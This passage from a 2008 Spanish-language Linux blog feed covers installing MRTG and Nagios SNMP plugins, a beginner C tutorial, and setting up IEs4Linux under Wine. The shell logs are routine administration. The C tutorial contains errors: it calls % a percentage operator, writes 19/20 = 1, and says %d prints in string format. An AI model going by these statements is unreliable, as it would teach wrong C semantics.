/&gt;mkdir /usr/local/mrtg-2/share/mrtg2&lt;br /&gt;mkdir /usr/local/mrtg-2/share/mrtg2/icons&lt;br /&gt;for x in ./images/*.gif ./images/*.png; do \&lt;br /&gt;          /usr/bin/install -c -m 644 $x /usr/local/mrtg-2/share/mrtg2/icons; done&lt;br /&gt;/bin/sh ./mkinstalldirs /usr/local/mrtg-2/share/doc/mrtg2&lt;br /&gt;mkdir /usr/local/mrtg-2/share/doc&lt;br /&gt;mkdir /usr/local/mrtg-2/share/doc/mrtg2&lt;br /&gt;(cd .; for x in COPYING COPYRIGHT README CHANGES THANKS doc/*.pod doc/*.txt doc/*.png; do \&lt;br /&gt;          /usr/bin/install -c -m 644 $x /usr/local/mrtg-2/share/doc/mrtg2; done)&lt;br /&gt;/bin/sh ./mkinstalldirs /usr/local/mrtg-2/share/man/man1&lt;br /&gt;mkdir /usr/local/mrtg-2/share/man&lt;br /&gt;mkdir /usr/local/mrtg-2/share/man/man1&lt;br /&gt;for x in ./doc/*.1; do \&lt;br /&gt;          /usr/bin/install -c -m 644 $x /usr/local/mrtg-2/share/man/man1; done&lt;br /&gt;AHORA VA LA CONFIGURACION EN ESTA VERSION TRAEMOS UN SCRIPT QUE NOS PERMITE HACER LA CONFIGURACION  SI NO DE OTRO MODO LO HARIAMOS A MANO...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[root@desarrollo mrtg-2.16.0]# cd bin/&lt;br /&gt;[root@desarrollo bin]# ll&lt;br /&gt;total 1092&lt;br /&gt;-rwxr-xr-x 1 root root 107065 feb 12 11:53 cfgmaker&lt;br /&gt;-rwxr-xr-x 1 root root 107065 feb 12 11:52 cfgmaker~&lt;br /&gt;-rwxr-xr-x 1 root root  25663 feb 12 11:53 indexmaker&lt;br /&gt;-rwxr-xr-x 1 root root  25663 feb 12 11:53 indexmaker~&lt;br /&gt;-rwxr-xr-x 1 root root 102046 feb 12 11:53 mrtg&lt;br /&gt;-rwxr-xr-x 1 root root 102046 feb 12 11:53 mrtg~&lt;br /&gt;-rwxr-xr-x 1 root root   5952 dic 22  2006 mrtg-traffic-sum&lt;br /&gt;-rwxr-xr-x 1 root root 101425 feb 12 11:52 rateup&lt;br /&gt;-rwxr-xr-x 1 root root 222208 feb  6 08:35 rateup.exe&lt;br /&gt;-rw-r--r-- 1 root root 156929 feb 17  2007 rateup.nlm&lt;br /&gt;-rw-r--r-- 1 root root 104800 feb 12 11:52 rateup.o&lt;br /&gt;[root@desarrollo bin]# ./cfgmaker --global 'WorkDir:/var/www/html/mrtg'            --global 'Options[_]: bits,growright'           --output /etc/mrtg/cfg/mrtg.cfg    ekxo@localhost&lt;br /&gt;SNMP Error:&lt;br /&gt;no response received&lt;br /&gt;SNMPv1_Session (remote host: "localhost" [127.0.0.1].161)&lt;br /&gt;                  community: "ekxo"&lt;br /&gt;                 request ID: -513429499&lt;br /&gt;                PDU bufsize: 8000 bytes&lt;br /&gt;                    timeout: 2s&lt;br /&gt;                    retries: 5&lt;br /&gt;                    backoff: 1)&lt;br /&gt; at /usr/src/mrtg-2.16.0/bin/../lib/mrtg2/SNMP_util.pm line 628&lt;br /&gt;SNMPWALK Problem for 1.3.6.1.2.1.1 on ekxo@localhost::::::v4only&lt;br /&gt; at ./cfgmaker line 950&lt;br /&gt;WARNING: Skipping ekxo@localhost: as no info could be retrieved&lt;br /&gt;&lt;br /&gt;creamos el archivo!!! de conf&lt;br /&gt;&lt;br /&gt;LO CORREMOS&lt;br /&gt;AQUI APARECEN UNOS ERORSILLO PERO EN MANUAL VIENIEN LOS PASOS PARA SOLUCIONARLOS&lt;br /&gt;[root@desarrollo bin]# /usr/local/mrtg-2/bin/mrtg /etc/mrtg/cfg/mrtg.cfg &lt;br /&gt;-----------------------------------------------------------------------&lt;br /&gt;ERROR: Mrtg will most likely not work properly when the environment&lt;br /&gt;       variable LANG is set to UTF-8. Please run mrtg in an environment&lt;br /&gt;       where this is not the case. Try the following command to start:&lt;br /&gt;&lt;br /&gt;       env LANG=C /usr/local/mrtg-2/bin/mrtg /etc/mrtg/cfg/mrtg.cfg &lt;br /&gt;-----------------------------------------------------------------------&lt;br /&gt;[root@desarrollo bin]#  env LANG=C /usr/local/mrtg-2/bin/mrtg /etc/mrtg/cfg/mrtg.cfg &lt;br /&gt;ERROR: CFG Error in "workdir", line 20: Working directory /var/www/html/mrtg does not exist&lt;br /&gt;&lt;br /&gt;[root@desarrollo bin]# mkdir -p  /var/www/html/mrtg &lt;br /&gt;[root@desarrollo bin]#  env LANG=C /usr/local/mrtg-2/bin/mrtg /etc/mrtg/cfg/mrtg.cfg &lt;br /&gt;[root@desarrollo bin]#&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-6079759972937592493?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/6079759972937592493/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=6079759972937592493' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/6079759972937592493'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/6079759972937592493'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/mrtg-multi-router-traffic-grapher.html' title='MRTG The Multi Router Traffic Grapher'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_X3QcW21Qw2k/R7HwjS3ld2I/AAAAAAAAAD8/ELKanx-0sfY/s72-c/192.33.92.249_fa4_1-day.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-3696184725212789001</id><published>2008-02-11T10:24:00.000-08:00</published><updated>2008-02-11T12:29:34.355-08:00</updated><title type='text'>NAGIOS SNMP PLUGINS</title><content type='html'>BUENO COMO HEMOS VISTO SOLO INSTALAMOS NAGIOS PERO AHORA VEREMOS COMO INSTALAR LOS PLUGINS CORRESPONDIENTES AL PROTOCOLO SNMP YA QUE ESTE NOS PERMITIRA HACER QUERYS A NUESTRO AGENTE TRAYENDO CONSIGO INFORMACION VALIOSA PARA EL MONITOREO.&lt;br /&gt;&lt;br /&gt;BAJAMOS EL TARBALL DE http://sourceforge.net/projects/nagios-snmp/&lt;br /&gt;&lt;br /&gt;AHORA YA QUE DESCOMPRIMIMOS NOS CLAVAMOS A LA CARPETA Y LOS INSTALAMOS CABE DESTACAR QUE ESTOS ESTAN ESRITOS EN PERL Y DEBEMOS TENER INSTALADO PERL UN EL SERVIDOR NAGIOS PA QUE CORRAN.&lt;br /&gt;&lt;br /&gt;[root@desarrollo nagios_plugins]# ls&lt;br /&gt;Changelog                check_snmp_css_main.pl  check_snmp_int.pl            check_snmp_mem.pl      &lt;br /&gt;check_snmp_storage.pl  doc         README&lt;br /&gt;check_snmp_boostedge.pl  check_snmp_css.pl       check_snmp_linkproof_nhr.pl  check_snmp_nsbox.pl    check_snmp_vrrp.pl     install.sh&lt;br /&gt;check_snmp_cpfw.pl       check_snmp_env.pl       check_snmp_load.pl           check_snmp_process.pl  check_snmp_win.pl      LICENSE&lt;br /&gt;[root@desarrollo nagios_plugins]# ./install.sh &lt;br /&gt;&lt;br /&gt;###### Nagios snmp scripts installer ######&lt;br /&gt;&lt;br /&gt;Will install all script(s)&lt;br /&gt;&lt;br /&gt;What is your perl location ? [/usr/bin/perl] &lt;br /&gt;Net::SNMP module version is 5.002000 [OK]&lt;br /&gt;Module Getopt::Long found [OK]&lt;br /&gt;&lt;br /&gt;What is your nagios plugin location ? &lt;br /&gt;Note : file utils.pm must be present in it [/usr/local/nagios/libexec] &lt;br /&gt;&lt;br /&gt;Where do you want the plugins to put temporary data (only used by some plugins) ? &lt;br /&gt;Nagios user must be able to write files in it [/tmp] &lt;br /&gt;&lt;br /&gt;Will now install all script(s) : &lt;br /&gt;in directory    : /usr/local/nagios/libexec&lt;br /&gt;perl            : /usr/bin/perl&lt;br /&gt;temp directory  : /tmp&lt;br /&gt;&lt;br /&gt;OK ? [Y/n]Y&lt;br /&gt;&lt;br /&gt;Installing check_snmp_boostedge.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_css.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_linkproof_nhr.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_nsbox.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_vrrp.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_cpfw.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_env.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_load.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_process.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_win.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_css_main.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_int.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_mem.pl : OK&lt;br /&gt;&lt;br /&gt;Installing check_snmp_storage.pl : OK&lt;br /&gt;&lt;br /&gt;Installation completed OK&lt;br /&gt;You can delete all the source files and directory&lt;br /&gt;Remember to look for informtation at http://www.manubulon.com/nagios/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Y COMO VERAN AHORA TENEMOS MAS PLUGINS&lt;br /&gt;&lt;br /&gt;[root@desarrollo libexec]# ls&lt;br /&gt;check_apt      check_disk_smb  check_ide_smart     check_mrtg      check_nwstat  check_sensors            check_snmp_linkproof_nhr.pl  check_ssh    negate&lt;br /&gt;check_breeze   check_dns       check_ifoperstatus  check_mrtgtraf  check_oracle  check_smtp               check_snmp_load.pl           check_swap   urlize&lt;br /&gt;check_by_ssh   check_dummy     check_ifstatus      check_nagios    check_overcr  check_snmp_boostedge.pl  check_snmp_mem.pl            check_tcp    utils.pm&lt;br /&gt;check_clamd    check_file_age  check_imap          check_nntp      check_ping    check_snmp_cpfw.pl       check_snmp_nsbox.pl          check_time   utils.sh&lt;br /&gt;check_cluster  check_flexlm    check_ircd          check_nt        check_pop     check_snmp_css_main.pl   check_snmp_process.pl        check_udp&lt;br /&gt;check_dhcp     check_ftp       check_load          check_ntp       check_procs   check_snmp_css.pl        check_snmp_storage.pl        check_ups&lt;br /&gt;check_dig      check_http      check_log           check_ntp_peer  check_real    check_snmp_env.pl        check_snmp_vrrp.pl           check_users&lt;br /&gt;check_disk     check_icmp      check_mailq         check_ntp_time  check_rpc     check_snmp_int.pl        check_snmp_win.pl            check_wave&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;AQUI ESTA LA SALIDA DE UN QUERY VIA SNMP HAY QUE TENER EN CUENTA QUE BAJO LINUX ESTE PLUGIN UTILIZA LOS PROGRAMAS DE LA SUITE DE NET-SNMP ASI QIE HAY QUE INSTALARLOS PRIMERO YA QUE EL TRAP LO JALA CON NET-SNMP &lt;br /&gt;&lt;br /&gt;[root@desarrollo libexec]# ./check_snmp_storage.pl -H 192.168.1.80 -C public  -m / -w 80 -c 90&lt;br /&gt;/var: 1%used(721MB/62306MB) /proc/sys/fs/binfmt_misc: 0%used(0MB/0MB) /boot: 3%used(30MB/874MB) /sys: 0%used(0MB/0MB) /var/lib/nfs/rpc_pipefs: 0%used(0MB/0MB) /: 30%used(2958MB/9702MB) (&lt;80%) : OK&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-3696184725212789001?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/3696184725212789001/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=3696184725212789001' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3696184725212789001'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/3696184725212789001'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/nagios-snmp-plugins.html' title='NAGIOS SNMP PLUGINS'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-2990936752159820015</id><published>2008-02-08T20:25:00.000-08:00</published><updated>2008-02-09T17:15:34.951-08:00</updated><title type='text'>Programming whit C in LINUX</title><content type='html'>&lt;span style="font-weight:bold;"&gt;ESTRUCTURA BASICA DE UN PROGRAMA.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;BUENO AHORA LOS ELEMENTOS BASICOS DE UN PROGRAMA SON LAS DECALARACIONES,FUNCIONES Y COMETARIOS.&lt;br /&gt;Y ESTAN ORGANIZADOS DE LA SIGUIENTE MANERA..&lt;br /&gt;&lt;br /&gt;/****************************************************&lt;br /&gt;  * ...COMENTARIOS DE CABECERA...                      *&lt;br /&gt; ****************************************************/&lt;br /&gt;...DECLARACION DE DATOS...&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;     ...LINEAS DE CODIGO COMPUTABLES...&lt;br /&gt;     return (0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;LOS COMENTARIOS AYUDAN AL RPOGRAMADOR Y A LOS DEMAS A SABER QUE VA HACER NUESTRO PROGRAMA Y LAS DECLARACIONES DE DATOS O DE VARIABLES NOS AYUDAN A SABER QUE TIPO DE DATOS VAMOS A UTILIZAR EN NUESTRO PROGRAMA. NUESTRA PRINCIPAL FUNCION ES MAIN YA QUE ES LA 1ERA QUE ES EJECUTADA Y DESPUES PUES ESTA VA LLAMANDO A LAS DEMAS FUNCIONES  CON LA MARCHA DEL PROGRAMA.DIRECTAMENTE O INDIRECTAMENTE &lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;Y TERMINA CON UN &lt;br /&gt;return (0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;EN EL EJEMPLO DE HOLA MUNDO TENIAS LA SIGUIENTE LINEA DESPUES DEL ENCABEZADO #include &lt;stdio.h&gt; ESTA ES UNA LIBRERIA Y LA QUE NOS PERMITE LA SALIDA Y ENTRADA DE DATOS ATRAVEZ DEL TECLADO Y PANTALLA BUENO NO SOLOPODEMOS IMPRIMIR UN SALUDO EN LA PANTALL NO ESTO VALE MADRE NECESITAMOS HACER CALCULOS MATEMATICOS P PROCESOS BASADOS EN ALGORITMOS BUENO TENEMOS 5 OPERADOSRES BASICOS.&lt;br /&gt;&lt;br /&gt;Operador Significado&lt;br /&gt;&lt;br /&gt;*        Multiplicar&lt;br /&gt;/        Dividir&lt;br /&gt;+        Sumar&lt;br /&gt;-        Restar&lt;br /&gt;%        Porcentaje&lt;br /&gt;&lt;br /&gt;okas existen prioridades por asi decrilo entre los operadores (* ),(/), and (% ) tienen precedececion sobre (+) y (-). Parentesis, ( ), puedes ser usada para agrupar opraciones mientras hablamos de programacion tomemos un brake para tomar una cervesita!!!jaaa&lt;br /&gt;&lt;br /&gt;&lt;object width="320" height="266" class="BLOG_video_class" id="BLOG_video-49656be5fd9e650f" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"&gt;&lt;param name="movie" value="http://www.youtube.com/get_player"&gt;&lt;param name="bgcolor" value="#FFFFFF"&gt;&lt;param name="allowfullscreen" value="true"&gt;&lt;param name="flashvars" value="flvurl=http://v4.nonxt3.googlevideo.com/videoplayback?id%3D49656be5fd9e650f%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330143714%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D295BEC1257A3F7B20F3F9836287B981549908665.12D1564DB9D374BF22D03C2784F7502D01F0BE32%26key%3Dck1&amp;amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D49656be5fd9e650f%26offsetms%3D5000%26itag%3Dw160%26sigh%3DCp5mVYA-AvYLJanAsVEIAK4po20&amp;amp;autoplay=0&amp;amp;ps=blogger"&gt;&lt;embed src="http://www.youtube.com/get_player" type="application/x-shockwave-flash"width="320" height="266" bgcolor="#FFFFFF"flashvars="flvurl=http://v4.nonxt3.googlevideo.com/videoplayback?id%3D49656be5fd9e650f%26itag%3D5%26app%3Dblogger%26ip%3D0.0.0.0%26ipbits%3D0%26expire%3D1330143714%26sparams%3Did,itag,ip,ipbits,expire%26signature%3D295BEC1257A3F7B20F3F9836287B981549908665.12D1564DB9D374BF22D03C2784F7502D01F0BE32%26key%3Dck1&amp;iurl=http://video.google.com/ThumbnailServer2?app%3Dblogger%26contentid%3D49656be5fd9e650f%26offsetms%3D5000%26itag%3Dw160%26sigh%3DCp5mVYA-AvYLJanAsVEIAK4po20&amp;autoplay=0&amp;ps=blogger"allowFullScreen="true" /&gt;&lt;/object&gt;&lt;/stdio.h&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BUENO SIGAMOS C NOS PERMITE GUARDAR LOS DATOS QUE VAYAMOSA CALCULAR EN  VARIABLES QUE NOS AYUDARAN A MANUPILAR LOS DATOS Y REGRESAR UN RESULTADO YA COMPUTADO. EXISTEN PALABRAS RESERVADAS EN C Y NOS LA PODEMOS UTILIZAR COMO int, while,for,float. YA QUE TIENEN UN SIGNIFICADO ESPECIAL PARA C. Y TAMPOCO SE PERMITEN PALABRAS QUE EMPIECEN CON NUMEROS Y CARATERES ESPECIALES COMO $ ASI NO PODEMOS NOMBRAR A NUESTRAS VARIABLES.&lt;br /&gt;&lt;br /&gt;TENEMOS TRES PROPOSITOS DE UNA DECLARACION ES VARIABLES&lt;br /&gt;1-NOMBRE DE LA VARIABLE&lt;br /&gt;2-TIPO DE LA VARIABLE(ENTERA,DOBLE,FLOTANTE,STRING ,CARACTER)&lt;br /&gt;3.LE DA AL PROGRAMADOR LA DESCRIPCION DE LA VARIABLE&lt;br /&gt;&lt;br /&gt;EJEMPLO&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;br /&gt;int answer;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Esto indica a C que la variable se llama answer y es de tipo entera&lt;br /&gt;la forma general es la siguiente:&lt;br /&gt;&lt;br /&gt;tipo nombre; /* comentario */&lt;br /&gt;&lt;br /&gt;TAMBIEN PODEMOS IGUALAR EL RESULTADO DE UNA OPERACION A UN AVARIABLE O BLES.&lt;br /&gt;&lt;br /&gt;EJEMPLO:&lt;br /&gt;&lt;br /&gt;answer = (1 + 2) * 4;&lt;br /&gt;&lt;br /&gt;LA FORMA GENERAL ES&lt;br /&gt;&lt;br /&gt;VARIABLE = EXPRESION ;&lt;br /&gt;&lt;br /&gt;OKAS VAYAMOS A HORA A LAFUNCION printf&lt;br /&gt;&lt;br /&gt;printf("Twice %d is %d\n", term, 2 * term); cuando printf encuentra %d imprime el valor siguiente en formato de string.&lt;br /&gt;&lt;br /&gt;la forma general de imprimir en pantalla&lt;br /&gt;&lt;br /&gt;printf(formato, expresion-1, expresion-2, ...);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;ejemplo:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;int term;       /* la variable entera term se usa en 2 expresiones */&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;    term = 3 * 5;&lt;br /&gt;    printf("Twice %d is %d\n", term, 2*term);&lt;br /&gt;    printf("Three times %d is %d\n", term, 3*term);&lt;br /&gt;    return (0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;VARIABLES DE PUNTO FLOTANTE&lt;br /&gt;&lt;br /&gt;ESTAS VARIABLES NOS PERMITE HACER OPERACIONES CON VALORES COMO ESTO 5.3 6.4 -12.6 C UTILIZA ELPUNTO DECIMAL PARA DISTINGUIR EL ENTERO Y LAS DECIMALES ADICIONALMENTE SE PUEDE UTILIZAR EXPONENTES e + exp por ejemplo 1.2e34 es lo mismo que 1.2X10 a la 34 &lt;br /&gt;&lt;br /&gt;su forma general es &lt;br /&gt;&lt;br /&gt;float variable; /* comentario */&lt;br /&gt;&lt;br /&gt;PARA PRINTF utilizamos %f PARA QUE PODAMOS PLASMAR EL RESULTADO DE UNA OPERACION EN LA PANTALL ASI !!printf("The answer is %f\n", 1.0/3.0); &lt;br /&gt;&lt;br /&gt;Floating Point Versus Integer Divide&lt;br /&gt;&lt;br /&gt;HAY UNA DIFERENCIA ENTRE INTEGER/FLOAT QUE UN INTEGER/INTEGER EL RESULTADO SE TRUNCA LAS FRACIONES DE DESCARTAN COMO 19/20 = 1 ASI QUE UNA OPERACION FLOTANTE 19.0/10.0 ES 1.9 &lt;br /&gt;&lt;br /&gt;Expresion         Resultado    Resultado tipo&lt;br /&gt;1+2                  3          Integer&lt;br /&gt;1.0 + 2.0            3.0        Floating Point&lt;br /&gt;19 / 10              1          Integer&lt;br /&gt;19.0 / 10.0          1.9        Floating Point&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-2990936752159820015?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='enclosure' type='video/mp4' href='http://www.blogger.com/video-play.mp4?contentId=49656be5fd9e650f&amp;type=video%2Fmp4' length='0'/><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/2990936752159820015/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=2990936752159820015' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2990936752159820015'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/2990936752159820015'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/programming-whit-c-in-linux_08.html' title='Programming whit C in LINUX'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-1535079218428238876</id><published>2008-02-06T12:25:00.000-08:00</published><updated>2008-02-06T12:30:18.942-08:00</updated><title type='text'>OS REVOLUTION</title><content type='html'>CHESK THIS OUT!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-1535079218428238876?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/1535079218428238876/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=1535079218428238876' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1535079218428238876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8002103865555107583/posts/default/1535079218428238876'/><link rel='alternate' type='text/html' href='http://ekx0day-gnulinux.blogspot.com/2008/02/os-revolution.html' title='OS REVOLUTION'/><author><name>EKXO GNU/LINUX</name><uri>http://www.blogger.com/profile/11720620110053528288</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://bp0.blogger.com/_X3QcW21Qw2k/R_vPzUYWddI/AAAAAAAAAGk/XHSp3-yY1sc/S220/Simplify.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8002103865555107583.post-504602311113317251</id><published>2008-02-05T09:51:00.000-08:00</published><updated>2008-02-05T10:45:30.751-08:00</updated><title type='text'>IEs4Linux</title><content type='html'>Bueno como se dieron cuenta algunas veces no hemos visot en la necesidad que los portales que visitamos solo estan diseñados para poder trabajar con internet explorer de micorosft aunque no me gusta mucho pero aveces lo he utilizado talvez para medir y compararlo con otros que la neta para mi el mas chido es firefox..&lt;br /&gt;&lt;br /&gt;bueno yo traigo ubuntu 7.10 pero en la la pagian del proyecto viene las intrucciones para instalarlo en otra distro..&lt;br /&gt;&lt;br /&gt;http://www.tatanka.com.br/ies4linux/page/Main_Page&lt;br /&gt;&lt;br /&gt;1ero hay que bajar estos paquetes..&lt;br /&gt;&lt;br /&gt;root@victoria:/home/ekxo# apt-get install cabextract wine&lt;br /&gt;&lt;br /&gt;despues de tenerlos instalados debemos bajar el paquete no se recomienda instalarlo como root ya que  es inseguro el explorere asi que hagando con otr usuario. vale&lt;br /&gt;&lt;br /&gt;ekxo@victoria:~/ies4linux-2.99.0$ sudo useradd  -G ekxo iexplorer4linux&lt;br /&gt;[sudo] password for ekxo:&lt;br /&gt;&lt;br /&gt;2- despues &lt;br /&gt;wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz&lt;br /&gt;tar zxvf ies4linux-latest.tar.gz&lt;br /&gt;cd ies4linux-*&lt;br /&gt;ekxo@victoria:~/ies4linux-2.99.0$ ./ies4linux --no-gui&lt;br /&gt;&lt;br /&gt;IEs4Linux will:&lt;br /&gt;  - Instalar Internet Explorers: 6.0&lt;br /&gt;  - Usando el idioma de IE: ES&lt;br /&gt;  - Instalar Adobe Flash 9.0&lt;br /&gt;  - Instalar todo en: /home/ekxo/.ies4linux&lt;br /&gt;[ OK ]&lt;br /&gt;&lt;br /&gt;Descargando todo lo que necesitamos&lt;br /&gt;  Downloading from microsoft.com:&lt;br /&gt;   DCOM98.EXE&lt;br /&gt;   mfc42.cab&lt;br /&gt;   249973USA8.exe&lt;br /&gt;   ADVAUTH.CAB&lt;br /&gt;   CRLUPD.CAB&lt;br /&gt;   HHUPD.CAB&lt;br /&gt;   IEDOM.CAB&lt;br /&gt;   IE_EXTRA.CAB&lt;br /&gt;   IE_S1.CAB&lt;br /&gt;   IE_S2.CAB&lt;br /&gt;   IE_S5.CAB&lt;br /&gt;   IE_S4.CAB&lt;br /&gt;   IE_S3.CAB&lt;br /&gt;   IE_S6.CAB&lt;br /&gt;   SETUPW95.CAB&lt;br /&gt;   FONTCORE.CAB&lt;br /&gt;   FONTSUP.CAB&lt;br /&gt;   VGX.CAB&lt;br /&gt;   100% SCR56EN.CAB&lt;br /&gt; Downloading from macromedia.com:&lt;br /&gt;   100% swflash.cab&lt;br /&gt;[ OK ]&lt;br /&gt;&lt;br /&gt;Instalando IE 6&lt;br /&gt;  Iniciando&lt;br /&gt;  Creando prefijo de Wine&lt;br /&gt;  Extrayendo archivos CAB&lt;br /&gt;  Instalando IE 6&lt;br /&gt;  Instalando DCOM98&lt;br /&gt;  Instalando fuentes TTF&lt;br /&gt;  Instalando ActiveX MFC42&lt;br /&gt;  Instalando RICHED20&lt;br /&gt;  Instalando el registro&lt;br /&gt;  Finalizando&lt;br /&gt;[ OK ]&lt;br /&gt;&lt;br /&gt;Instalando Flash Player 9&lt;br /&gt;  Extrayendo archivos&lt;br /&gt;  Instalando Flash ie6&lt;br /&gt;  Finalizando&lt;br /&gt;[ OK ]&lt;br /&gt;&lt;br /&gt;IEs4Linux installations finished!&lt;br /&gt;&lt;br /&gt;Para ejecutar IE escribe:&lt;br /&gt; /home/ekxo/bin/ie6&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_X3QcW21Qw2k/R6iuionwQgI/AAAAAAAAADs/pdcGQdR8hIk/s1600-h/Pantallazo.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp0.blogger.com/_X3QcW21Qw2k/R6iuionwQgI/AAAAAAAAADs/pdcGQdR8hIk/s200/Pantallazo.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5163568882823217666" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8002103865555107583-504602311113317251?l=ekx0day-gnulinux.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ekx0day-gnulinux.blogspot.com/feeds/504602311113317251/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8002103865555107583&amp;postID=504602311113317251' title='0 comentarios'/><link rel='edit' type='application/atom+xml' 